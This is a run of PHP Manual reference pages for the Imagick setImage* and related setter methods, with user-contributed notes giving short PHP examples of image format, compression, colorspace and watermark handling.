Sets the image chromaticity blue primary point

Imagick::setImageBias
Imagick::setImageBorderColor
Imagick
PHP Manual

Imagick::setImageBluePrimary

(PECL imagick 2.0.0)

Imagick::setImageBluePrimary — Sets the image chromaticity blue primary point

Description

bool Imagick::setImageBluePrimary ( float $x , float $y )

Sets the image chromaticity blue primary point.

Parameters

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageBias
Imagick::setImageBorderColor
Imagick


Sets the image border color

Imagick::setImageBluePrimary
Imagick::setImageChannelDepth
Imagick
PHP Manual

Imagick::setImageBorderColor

(PECL imagick 2.0.0)

Imagick::setImageBorderColor — Sets the image border color

Description

bool Imagick::setImageBorderColor ( mixed $border )

Sets the image border color.

Parameters

border

The border color

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageBluePrimary
Imagick::setImageChannelDepth
Imagick


Sets the depth of a particular image channel

Imagick::setImageBorderColor
Imagick::setImageClipMask
Imagick
PHP Manual

Imagick::setImageChannelDepth

(PECL imagick 2.0.0)

Imagick::setImageChannelDepth — Sets the depth of a particular image channel

Description

bool Imagick::setImageChannelDepth ( int $channel , int $depth )

Sets the depth of a particular image channel.

Parameters

channel

depth

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageBorderColor
Imagick::setImageClipMask
Imagick


Sets image clip mask

Imagick::setImageChannelDepth
Imagick::setImageColormapColor
Imagick
PHP Manual

Imagick::setImageClipMask

(No version information available, might only be in SVN)

Imagick::setImageClipMask — Sets image clip mask

Description

bool Imagick::setImageClipMask ( Imagick $clip_mask )

Sets image clip mask from another Imagick object. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

clip_mask

The Imagick object containing the clip mask

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageChannelDepth
Imagick::setImageColormapColor
Imagick


Sets the color of the specified colormap index

Imagick::setImageClipMask
Imagick::setImageColorspace
Imagick
PHP Manual

Imagick::setImageColormapColor

(PECL imagick 2.0.0)

Imagick::setImageColormapColor — Sets the color of the specified colormap index

Description

bool Imagick::setImageColormapColor ( int $index , ImagickPixel $color )

Sets the color of the specified colormap index.

Parameters

index

color

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageClipMask
Imagick::setImageColorspace
Imagick


Sets the image colorspace

Imagick::setImageColormapColor
Imagick::setImageCompose
Imagick
PHP Manual

Imagick::setImageColorspace

(PECL imagick 2.0.0)

Imagick::setImageColorspace — Sets the image colorspace

Description

bool Imagick::setImageColorspace ( int $colorspace )

Sets the image colorspace.

Parameters

colorspace

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

mettedraq at gmail dot com 01-Jul-2010 12:21
This is how to Monochrome a jpg [on Windows].. since I couldn't find it anywhere else.

<?php
header("Content-type: image/jpeg");

$IMagick = new IMagick('c:\\testing\\fruit.jpg');
$IMagick->setImageColorSpace(Imagick::COLORSPACE_GRAY);

echo $IMagick;
?>
charlie at midsouthhost dot com 06-May-2010 09:45
If your getting strange/bad color rendering from a PDF, after trying the colorspace constants noted by jdstraughan, try other values outside that range.

In one case for me only $image->setImageColorSpace(22) provided useful color. I have found posts elsewhere using values up to 255.
jdstraughan dot com at gmail dot com 26-Sep-2008 12:16
FYI, here is the breakdown for (int $colorspace):

Constants:
0 - UndefinedColorspace
1 - RGBColorspace
2 - GRAYColorspace
3 - TransparentColorspace
4 - OHTAColorspace
5 - LABColorspace
6 - XYZColorspace
7 - YCbCrColorspace
8 - YCCColorspace
9 - YIQColorspace
10 - YPbPrColorspace
11 - YUVColorspace
12 - CMYKColorspace
13 - sRGBColorspace
14 - HSBColorspace
15 - HSLColorspace
16 - HWBColorspace
Imagick::setImageColormapColor
Imagick::setImageCompose
Imagick


Sets the image composite operator

Imagick::setImageColorspace
Imagick::setImageCompression
Imagick
PHP Manual

Imagick::setImageCompose

(PECL imagick 2.0.0)

Imagick::setImageCompose — Sets the image composite operator

Description

bool Imagick::setImageCompose ( int $compose )

Sets the image composite operator, useful for specifying how to composite the image thumbnail when using the Imagick::montageImage() method.

Parameters

compose

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageColorspace
Imagick::setImageCompression
Imagick


Sets the image compression

Imagick::setImageCompose
Imagick::setImageCompressionQuality
Imagick
PHP Manual

Imagick::setImageCompression

(PECL imagick 2.0.0)

Imagick::setImageCompression — Sets the image compression

Description

bool Imagick::setImageCompression ( int $compression )

Parameters

compression

One of the COMPRESSION constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

snipes2083 [at] yahoo com 28-Mar-2010 10:03
Above it says "One of the COMPRESSION constants" for the parameters.  For any of you that found this confusing, you can find a list of the constants here:

Predefined Constants
http://www.php.net/manual/en/imagick.constants.php

As an example for working with a jpeg image:

<?php
    $image = 'jpeg_image.jpg';
    $comression_type = Imagick::COMPRESSION_JPEG;

    $im = new Imagick($image);
    $im->setImageCompression($compression_type);
?>

This class does not actually compress the images but rather sets the compression type that is going to be used.

If you would like to see how to compress the image see:
Imagick::setImageCompressionQuality
Imagick::setImageCompose
Imagick::setImageCompressionQuality
Imagick


Sets the image compression quality

Imagick::setImageCompression
Imagick::setImageDelay
Imagick
PHP Manual

Imagick::setImageCompressionQuality

(No version information available, might only be in SVN)

Imagick::setImageCompressionQuality — Sets the image compression quality

Description

bool Imagick::setImageCompressionQuality ( int $quality )

Sets the image compression quality.

Parameters

quality

The image compression quality as an integer

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

snipes2083 [at] yahoo com 28-Mar-2010 11:35
This example shows how to set the compression type, set the compression quality, create a thumbnail and remove unnecessary data in order to reduce file size.

This will use the following functions in reference:
Imagick::setImageCompression
Imagick::setImageCompressionQuality
Imagick::stripImage
Imagick::thumbnailImage
Imagick::writeImage

<?php
    $image = 'image.jpg';
    $directory = '/path/to/image';
    $image_location = $directory . "/" . $image;
    $thumb_destination = $directory . "/t" . $image;
    $compression_type = Imagick::COMPRESSION_JPEG;

    $im = new Imagick($image_location);
    $thumbnail = $im->clone;

    $thumbnail->setImageCompression($compression_type);
    $thumbnail->setImageCompressionQuality(40);
    $thumbnail->stripImage();
    $thumbnail->thumbnailImage(100,null);
    $thumbnail->writeImage($thumb_destination);
?>

Now, obviously you don't have to do so much with the variables and the file location.  I only used so many to demonstrate where the images are coming from and where they are going.

NOTE:  The $thumbnail->thumbnailImage(100,null); keeps the aspect ration by setting the second parameter to null.  Read about this at Imagick::thumbnailImage

There is another way to create thumbnails that works quite well if you want to crop the image rather than using the entire image.  Check out Imagick::cropThumbnailImage
Imagick::setImageCompression
Imagick::setImageDelay
Imagick


Sets the image delay

Imagick::setImageCompressionQuality
Imagick::setImageDepth
Imagick
PHP Manual

Imagick::setImageDelay

(PECL imagick 2.0.0)

Imagick::setImageDelay — Sets the image delay

Description

bool Imagick::setImageDelay ( int $delay )

Sets the image delay.

Parameters

delay

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

fortruth at mabang dot net 03-Jun-2010 08:02
the delay time unit is micro-second  when 100  is  1s
Imagick::setImageCompressionQuality
Imagick::setImageDepth
Imagick


Sets the image depth

Imagick::setImageDelay
Imagick::setImageDispose
Imagick
PHP Manual

Imagick::setImageDepth

(PECL imagick 2.0.0)

Imagick::setImageDepth — Sets the image depth

Description

bool Imagick::setImageDepth ( int $depth )

Sets the image depth.

Parameters

depth

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

roland at rhauck dot de 06-Jul-2008 10:35
There seems to be a slight problem with setting image or channel depth. Using Q16, setting the depth to 8 bit,  you will have a 16 bit file.
Doesn't matter with better previews / image processing programs. With Win systems the display for TIFF files is a kind of psychedelic art.
This took me hours until I did check with PhotoShop. Besides: even if it works with RGB and PNG files, this consumes resources. Have a look on file size.
Only way out: change to Q8.
IMHO there is no way to run Q8 and Q16 simultaneously.
The above said concerns also setImageDepth.
Imagick::setImageDelay
Imagick::setImageDispose
Imagick


Sets the image disposal method

Imagick::setImageDepth
Imagick::setImageExtent
Imagick
PHP Manual

Imagick::setImageDispose

(PECL imagick 2.0.0)

Imagick::setImageDispose — Sets the image disposal method

Description

bool Imagick::setImageDispose ( int $dispose )

Sets the image disposal method.

Parameters

dispose

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

malou_pitawawa at hotmail dot com 16-Jan-2010 04:00
The layer disposal method defines the way each the displayed image is to be modified after the current 'frame' of an animation has finished being displayed (after its 'delay' period), but before the next frame on an animation is to be overlaid onto the display.

Value for $dispose:

Undefined: 0 -> No disposal specified (equivalent to 'none').
None: 1 -> Do not dispose, just overlay next frame image.
Background: 2 -> Clear the frame area with the background color.
Previous: 3 -> Clear to the image prior to this frames overlay.

from: http://www.imagemagick.org/script/command-line-options.php?#dispose
Imagick::setImageDepth
Imagick::setImageExtent
Imagick


Sets the image size

Imagick::setImageDispose
Imagick::setImageFilename
Imagick
PHP Manual

Imagick::setImageExtent

(PECL imagick 2.0.0)

Imagick::setImageExtent — Sets the image size

Description

bool Imagick::setImageExtent ( int $columns , int $rows )

Sets the image size (i.e. columns & rows).

Parameters

columns

rows

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

tim at komta dot com 19-Oct-2009 12:02
This function actually sets the width and height of the image (in pixels).

Took me forever to figure this out.
Imagick::setImageDispose
Imagick::setImageFilename
Imagick


Sets the filename of a particular image

Imagick::setImageExtent
Imagick::setImageFormat
Imagick
PHP Manual

Imagick::setImageFilename

(PECL imagick 2.0.0)

Imagick::setImageFilename — Sets the filename of a particular image

Description

bool Imagick::setImageFilename ( string $filename )

Sets the filename of a particular image in a sequence.

Parameters

filename

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageExtent
Imagick::setImageFormat
Imagick


Sets the format of a particular image

Imagick::setImageFilename
Imagick::setImageGamma
Imagick
PHP Manual

Imagick::setImageFormat

(PECL imagick 2.0.0)

Imagick::setImageFormat — Sets the format of a particular image

Description

bool Imagick::setImageFormat ( string $format )

Sets the format of a particular image in a sequence.

Parameters

format

String presentation of the image format. Format support depends on the ImageMagick installation.

Return Values

Returns TRUE on success.

User Contributed Notes

nathan at crause dot name 18-Aug-2010 09:35
For those of you completely confused by the utter lack of documentation for this class (including notes being dropped, probably this one included), the differences between any "setXXX" and "setImageXXX" seems to be entirely dependently on HOW the image was loaded.

If the image was loaded at object constructor time, it seems that you use "setXXX" - if you loaded it after the fact (such as via "readImageBlob") then you use "setImageXXX".

This is irregular, however. For example:

<?php
        $image = new Imagick();

        $image->setResolution(300, 300);
        $image->readImageBlob(...);
        // convert the output to JPEG
        $image->setImageFormat('jpeg');
        $image->setImageCompressionQuality(90);
?>

Note that we use "setResolution" not "setImageResolution".
andy at live dot nl 26-Feb-2009 06:54
I had a problem when using $im->setImageFormat('jpeg');
Image colors got inverted when i converted pdfs to jpg thumbs.
Had to add $im->setImageColorspace(255); to solve it.

<?php
// read page 1
$im = new imagick( 'test.pdf[ 0]' );

// convert to jpg
$im->setImageColorspace(255);
$im->setCompression(Imagick::COMPRESSION_JPEG);
$im->setCompressionQuality(60);
$im->setImageFormat('jpeg');

//resize
$im->resizeImage(290, 375, imagick::FILTER_LANCZOS, 1);

//write image on server
$im->writeImage('thumb.jpg');
$im->clear();
$im->destroy();
?>
barclay[dot]loftus[at]gmail.com 12-Mar-2008 03:04
Another note about image output. For jpeg images, the quality is adjusted by Imagick::setCompressionQuality().

<?php
$img->setCompressionQuality(90);
$img->setImageFormat('jpeg');
header('Content-type: image/jpg');
echo $img;
?>
optymizer at yahoo dot com 21-Nov-2007 03:09
The previous example did not work for me. I received an error that the IMagick object cannot be converted to string.

This example uses the IMagick::getImageBlob() method to properly output the contents of the converted image:

function getImage($filename)
{
            $image->readImage($filename);
            $image->setImageFormat("png");
            header("Content-type: image/png");
            echo $image->getImageBlob();
}

Hope this helps!
Devo 07-Oct-2007 08:02
A list of formats can be found here: http://www.imagemagick.org/script/formats.php

Formats marked with a W can be output to file with writeImage (capabilities depend on your particular installation of course).

For example:

<?php
// create new imagick object from image.jpg
$im = new Imagick( "image.jpg" );

// change format to png
$im->setImageFormat( "png" );

// output the image to the browser as a png
header( "Content-Type: image/png" );
echo $im;

// or you could output the image to a file:
//$im->writeImage( "image.png" );
?>
Imagick::setImageFilename
Imagick::setImageGamma
Imagick


Sets the image gamma

Imagick::setImageFormat
Imagick::setImageGravity
Imagick
PHP Manual

Imagick::setImageGamma

(PECL imagick 2.0.0)

Imagick::setImageGamma — Sets the image gamma

Description

bool Imagick::setImageGamma ( float $gamma )

Sets the image gamma.

Parameters

gamma

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageFormat
Imagick::setImageGravity
Imagick


Sets the image gravity

Imagick::setImageGamma
Imagick::setImageGreenPrimary
Imagick
PHP Manual

Imagick::setImageGravity

(No version information available, might only be in SVN)

Imagick::setImageGravity — Sets the image gravity

Description

bool Imagick::setImageGravity ( int $gravity )

Sets the gravity property for the current image. This method can be used to set the gravity property for a single image sequence. This method is available if Imagick has been compiled against ImageMagick version 6.4.4 or newer.

Parameters

gravity

The gravity property. Refer to the list of gravity constants.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageGamma
Imagick::setImageGreenPrimary
Imagick


Sets the image chromaticity green primary point

Imagick::setImageGravity
Imagick::setImageIndex
Imagick
PHP Manual

Imagick::setImageGreenPrimary

(PECL imagick 2.0.0)

Imagick::setImageGreenPrimary — Sets the image chromaticity green primary point

Description

bool Imagick::setImageGreenPrimary ( float $x , float $y )

Sets the image chromaticity green primary point.

Parameters

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageGravity
Imagick::setImageIndex
Imagick


Set the iterator position

Imagick::setImageGreenPrimary
Imagick::setImageInterlaceScheme
Imagick
PHP Manual

Imagick::setImageIndex

(PECL imagick 2.0.0)

Imagick::setImageIndex — Set the iterator position

Description

bool Imagick::setImageIndex ( int $index )

Set the iterator to the position in the image list specified with the index parameter.

This method has been deprecated. See Imagick::setIteratorIndex().

Parameters

index

The position to set the iterator to

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageGreenPrimary
Imagick::setImageInterlaceScheme
Imagick


Sets the image compression

Imagick::setImageIndex
Imagick::setImageInterpolateMethod
Imagick
PHP Manual

Imagick::setImageInterlaceScheme

(PECL imagick 2.0.0)

Imagick::setImageInterlaceScheme — Sets the image compression

Description

bool Imagick::setImageInterlaceScheme ( int $interlace_scheme )

Sets the image compression.

Parameters

interlace_scheme

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageIndex
Imagick::setImageInterpolateMethod
Imagick


Sets the image interpolate pixel method

Imagick::setImageInterlaceScheme
Imagick::setImageIterations
Imagick
PHP Manual

Imagick::setImageInterpolateMethod

(PECL imagick 2.0.0)

Imagick::setImageInterpolateMethod — Sets the image interpolate pixel method

Description

bool Imagick::setImageInterpolateMethod ( int $method )

Sets the image interpolate pixel method.

Parameters

method

The method is one of the Imagick::INTERPOLATE_* constants

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageInterlaceScheme
Imagick::setImageIterations
Imagick


Sets the image iterations

Imagick::setImageInterpolateMethod
Imagick::setImageMatte
Imagick
PHP Manual

Imagick::setImageIterations

(PECL imagick 2.0.0)

Imagick::setImageIterations — Sets the image iterations

Description

bool Imagick::setImageIterations ( int $iterations )

Sets the image iterations.

Parameters

iterations

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageInterpolateMethod
Imagick::setImageMatte
Imagick


Sets the image matte channel

Imagick::setImageIterations
Imagick::setImageMatteColor
Imagick
PHP Manual

Imagick::setImageMatte

(PECL imagick 2.0.0)

Imagick::setImageMatte — Sets the image matte channel

Description

bool Imagick::setImageMatte ( bool $matte )

Sets the image matte channel. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

matte

True activates the matte channel and false disables it.

Return Values

Returns TRUE on success.

User Contributed Notes

martin at psinas dot com 05-Oct-2011 06:33
I found this method is needed when creating a font / image mask, and needs to be set to false otherwise the mask won't take effect. Here is an example:

<?php

// Create objects
$image = new Imagick('myImage.png');
$watermark = new Imagick();
$mask = new Imagick();
$draw = new ImagickDraw();

// Define dimensions
$width = $image->getImageWidth();
$height = $image->getImageHeight();

// Create some palettes
$watermark->newImage($width, $height, new ImagickPixel('grey30'));
$mask->newImage($width, $height, new ImagickPixel('black'));

// Watermark text
$text = 'Copyright';

// Set font properties
$draw->setFont('Bookman-Demi');
$draw->setFontSize(20);
$draw->setFillColor('grey70');

// Position text
$draw->setGravity(Imagick::GRAVITY_SOUTHEAST);

// Draw text on the watermark palette
$watermark->annotateImage($draw, 10, 12, 0, $text);

// Draw text on the mask palette
$draw->setFillColor('white');
$mask->annotateImage($draw, 11, 13, 0, $text);
$mask->annotateImage($draw, 10, 12, 0, $text);
$draw->setFillColor('black');
$mask->annotateImage($draw, 9, 11, 0, $text);

// This is apparently needed for the mask to work
$mask->setImageMatte(false);

// Apply mask to watermark
$watermark->compositeImage($mask, Imagick::COMPOSITE_COPYOPACITY, 0, 0);

// Overlay watermark on image
$image->compositeImage($watermark, Imagick::COMPOSITE_DISSOLVE, 0, 0);

// Set output image format
$image->setImageFormat('png');

// Output the new image
header('Content-type: image/png');
echo $image;

?>
Imagick::setImageIterations
Imagick::setImageMatteColor
Imagick


Sets the image matte color

Imagick::setImageMatte
Imagick::setImageOpacity
Imagick
PHP Manual

Imagick::setImageMatteColor

(PECL imagick 2.0.0)

Imagick::setImageMatteColor — Sets the image matte color

Description

bool Imagick::setImageMatteColor ( mixed $matte )

Sets the image matte color.

Parameters

matte

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageMatte
Imagick::setImageOpacity
Imagick


Sets the image opacity level

Imagick::setImageMatteColor
Imagick::setImageOrientation
Imagick
PHP Manual

Imagick::setImageOpacity

(PECL imagick 2.0.0)

Imagick::setImageOpacity — Sets the image opacity level

Description

bool Imagick::setImageOpacity ( float $opacity )

Sets the image to the specified opacity level. This method is available if Imagick has been compiled against ImageMagick version 6.3.1 or newer.

Parameters

opacity

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

Return Values

Returns TRUE on success.

Examples

Example #1 A Imagick::setImageOpacity() example

An example of using Imagick::setImageOpacity()

<?php
/* Create the object */
$image = new Imagick('source.png');

/* Set the opacity */
$image->setImageOpacity(0.7);

/* output the image */
header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageMatteColor
Imagick::setImageOrientation
Imagick


Sets the image orientation

Imagick::setImageOpacity
Imagick::setImagePage
Imagick
PHP Manual

Imagick::setImageOrientation

(PECL imagick 2.0.0)

Imagick::setImageOrientation — Sets the image orientation

Description

bool Imagick::setImageOrientation ( int $orientation )

Sets the image orientation.

Parameters

orientation

One of the orientation constants

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageOpacity
Imagick::setImagePage
Imagick


Sets the page geometry of the image

Imagick::setImageOrientation
Imagick::setImageProfile
Imagick
PHP Manual

Imagick::setImagePage

(PECL imagick 2.0.0)

Imagick::setImagePage — Sets the page geometry of the image

Description

bool Imagick::setImagePage ( int $width , int $height , int $x , int $y )

Sets the page geometry of the image.

Parameters

width

height

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Darren Burnhill 19-May-2009 05:03
This would appear to be the equivalent of +repage in ImageMagick.

<?php
  $ImagickObj = new Imagick($sourceImagePath);
  $ImagickObj->cropImage($_POST['w'], $_POST['h'], $_POST['x'], $_POST['y']);
  $ImagickObj->setImagePage($_POST['w'], $_POST['h'], 0, 0);
  $ImagickObj->writeImage($cropFilePath);
?>
Imagick::setImageOrientation
Imagick::setImageProfile
Imagick


Adds a named profile to the Imagick object

Imagick::setImagePage
Imagick::setImageProperty
Imagick
PHP Manual

Imagick::setImageProfile

(PECL imagick 2.0.0)

Imagick::setImageProfile — Adds a named profile to the Imagick object

Description

bool Imagick::setImageProfile ( string $name , string $profile )

Adds a named profile to the Imagick object. If a profile with the same name already exists, it is replaced. This method differs from the Imagick::ProfileImage() method in that it does not apply any CMS color profiles.

Parameters

name

profile

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImagePage
Imagick::setImageProperty
Imagick


Sets an image property

Imagick::setImageProfile
Imagick::setImageRedPrimary
Imagick
PHP Manual

Imagick::setImageProperty

(PECL imagick 2.0.0)

Imagick::setImageProperty — Sets an image property

Description

bool Imagick::setImageProperty ( string $name , string $value )

Sets a named property to the image. This method is available if Imagick has been compiled against ImageMagick version 6.3.2 or newer.

Parameters

name

value

Examples

Example #1 Using Imagick::setImageProperty():

Setting and getting image properties

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");

$image->setImageProperty('Exif:Make', 'Imagick');
echo $image->getImageProperty('Exif:Make');
?>

See Also

  • Imagick::getImageProperty() - Returns the named image property

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageProfile
Imagick::setImageRedPrimary
Imagick


Sets the image chromaticity red primary point

Imagick::setImageProperty
Imagick::setImageRenderingIntent
Imagick
PHP Manual

Imagick::setImageRedPrimary

(PECL imagick 2.0.0)

Imagick::setImageRedPrimary — Sets the image chromaticity red primary point

Description

bool Imagick::setImageRedPrimary ( float $x , float $y )

Sets the image chromaticity red primary point.

Parameters

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageProperty
Imagick::setImageRenderingIntent
Imagick


Sets the image rendering intent

Imagick::setImageRedPrimary
Imagick::setImageResolution
Imagick
PHP Manual

Imagick::setImageRenderingIntent

(PECL imagick 2.0.0)

Imagick::setImageRenderingIntent — Sets the image rendering intent

Description

bool Imagick::setImageRenderingIntent ( int $rendering_intent )

Sets the image rendering intent.

Parameters

rendering_intent

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageRedPrimary
Imagick::setImageResolution
Imagick


Sets the image resolution

Imagick::setImageRenderingIntent
Imagick::setImageScene
Imagick
PHP Manual

Imagick::setImageResolution

(PECL imagick 2.0.0)

Imagick::setImageResolution — Sets the image resolution

Description

bool Imagick::setImageResolution ( float $x_resolution , float $y_resolution )

Sets the image resolution.

Parameters

x_resolution

y_resolution

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

craig dot fairhurst at nospamyouds dot com 12-Feb-2010 10:12
Note that any changes to the resolution (-density option) must be made before specifying the file, so construct the object with no file path and then use $object->readImage('path/to/file'); otherwise the density won't change.
Also see Imagick::setResolution.
octave at web dot de 17-Jul-2009 09:27
This method uses the ImageMagick "-density {$x_resolution}x{$y_resolution}" parameter
Imagick::setImageRenderingIntent
Imagick::setImageScene
Imagick


Sets the image scene

Imagick::setImageResolution
Imagick::setImageTicksPerSecond
Imagick
PHP Manual

Imagick::setImageScene

(PECL imagick 2.0.0)

Imagick::setImageScene — Sets the image scene

Description

bool Imagick::setImageScene ( int $scene )

Sets the image scene.

Parameters

scene

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageResolution
Imagick::setImageTicksPerSecond
Imagick


Sets the image ticks-per-second

Imagick::setImageScene
Imagick::setImageType
Imagick
PHP Manual

Imagick::setImageTicksPerSecond

(PECL imagick 2.0.0)

Imagick::setImageTicksPerSecond — Sets the image ticks-per-second

Description

bool Imagick::setImageTicksPerSecond ( int $ticks_per-second )

Sets the image ticks-per-second.

Parameters

ticks_per-second

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageScene
Imagick::setImageType
Imagick


Sets the image type

Imagick::setImageTicksPerSecond
Imagick::setImageUnits
Imagick
PHP Manual

Imagick::setImageType

(PECL imagick 2.0.0)

Imagick::setImageType — Sets the image type

Description

bool Imagick::setImageType ( int $image_type )

Sets the image type.

Parameters

image_type

Return Values

Returns TRUE on success.

User Contributed Notes

lee dot traynor at skeptic dot de 19-Oct-2011 01:37
This function can be used to desaturate an image, i.e. to convert a coloured image into a greyscale:

<?php

$im = new Imagick ("image.jpg");
$im->setImageType (2);
//is now in 256 shades of grey

?>
Imagick::setImageTicksPerSecond
Imagick::setImageUnits
Imagick


Sets the image units of resolution

Imagick::setImageType
Imagick::setImageVirtualPixelMethod
Imagick
PHP Manual

Imagick::setImageUnits

(PECL imagick 2.0.0)

Imagick::setImageUnits — Sets the image units of resolution

Description

bool Imagick::setImageUnits ( int $units )

Sets the image units of resolution.

Parameters

units

Return Values

Returns TRUE on success.

User Contributed Notes

salomonsanz at gmail dot com 08-Dec-2008 12:56
$source = 'miphoto.jpg';
$imagick = new Imagick($source);
$imagick -> setImageUnits(2);
//0=undefined, 1=pixelsperInch, 2=PixelsPerCentimeter
$info = $imagick -> identifyImage();
print_r($info);
//ouput
/*
Array
(
[units] => PixelsPerCentimeter
)
Imagick::setImageType
Imagick::setImageVirtualPixelMethod
Imagick


Sets the image virtual pixel method

Imagick::setImageUnits
Imagick::setImageWhitePoint
Imagick
PHP Manual

Imagick::setImageVirtualPixelMethod

(PECL imagick 2.0.0)

Imagick::setImageVirtualPixelMethod — Sets the image virtual pixel method

Description

bool Imagick::setImageVirtualPixelMethod ( int $method )

Sets the image virtual pixel method.

Parameters

method

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageUnits
Imagick::setImageWhitePoint
Imagick


Sets the image chromaticity white point

Imagick::setImageVirtualPixelMethod
Imagick::setInterlaceScheme
Imagick
PHP Manual

Imagick::setImageWhitePoint

(PECL imagick 2.0.0)

Imagick::setImageWhitePoint — Sets the image chromaticity white point

Description

bool Imagick::setImageWhitePoint ( float $x , float $y )

Sets the image chromaticity white point.

Parameters

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageVirtualPixelMethod
Imagick::setInterlaceScheme
Imagick


Sets the image compression

Imagick::setImageWhitePoint
Imagick::setIteratorIndex
Imagick
PHP Manual

Imagick::setInterlaceScheme

(PECL imagick 2.0.0)

Imagick::setInterlaceScheme — Sets the image compression

Description

bool Imagick::setInterlaceScheme ( int $interlace_scheme )

Sets the image compression.

Parameters

interlace_scheme

Return Values

Returns TRUE on success.

User Contributed Notes

hayvanAdam 12-May-2008 03:24
save progressive jpeg

<?php

$image = new Imagick('image.jpg');
$image->thumbnailImage(500, 0);

$image->setInterlaceScheme(Imagick::INTERLACE_PLANE);

$image->writeImage('progressive.jpg');

?>
Imagick::setImageWhitePoint
Imagick::setIteratorIndex
Imagick


Set the iterator position

Imagick::setInterlaceScheme
Imagick::setLastIterator
Imagick
PHP Manual

Imagick::setIteratorIndex

(PECL imagick 2.0.0)

Imagick::setIteratorIndex — Set the iterator position

Description

bool Imagick::setIteratorIndex ( int $index )

Set the iterator to the position in the image list specified with the index parameter. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

index

The position to set the iterator to

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::setIteratorIndex():

Create images, set and get the iterator index

<?php
$im = new Imagick();
$im->newImage(100, 100, new ImagickPixel("red"));
$im->newImage(100, 100, new ImagickPixel("green"));
$im->newImage(100, 100, new ImagickPixel("blue"));

$im->setIteratorIndex(1);
echo $im->getIteratorIndex();
?>

See Also

  • Imagick::getIteratorIndex() - Gets the index of the current active image
  • Imagick::getImageIndex() - Gets the index of the current active image
  • Imagick::setImageIndex() - Set the iterator position

User Contributed Notes

wilcobeekhuizen at gmail dot com 14-Mar-2011 10:06
This function returns true on success but setting the iterator to an invalid index throws an exception instead of returning false:
Fatal error: Uncaught exception 'ImagickException' with message 'Unable to set iterator index'

This can happen when counting images inside a gif file, because the iterator count starts at zero and not one. If you count the number of images in a gif file be sure to use iterator 0 for the first image, like this:

<?php
$image = new Imagick('simple.gif');
$image->setIteratorIndex(0);
?>
Imagick::setInterlaceScheme
Imagick::setLastIterator
Imagick


Sets the Imagick iterator to the last image

Imagick::setIteratorIndex
Imagick::setOption
Imagick
PHP Manual

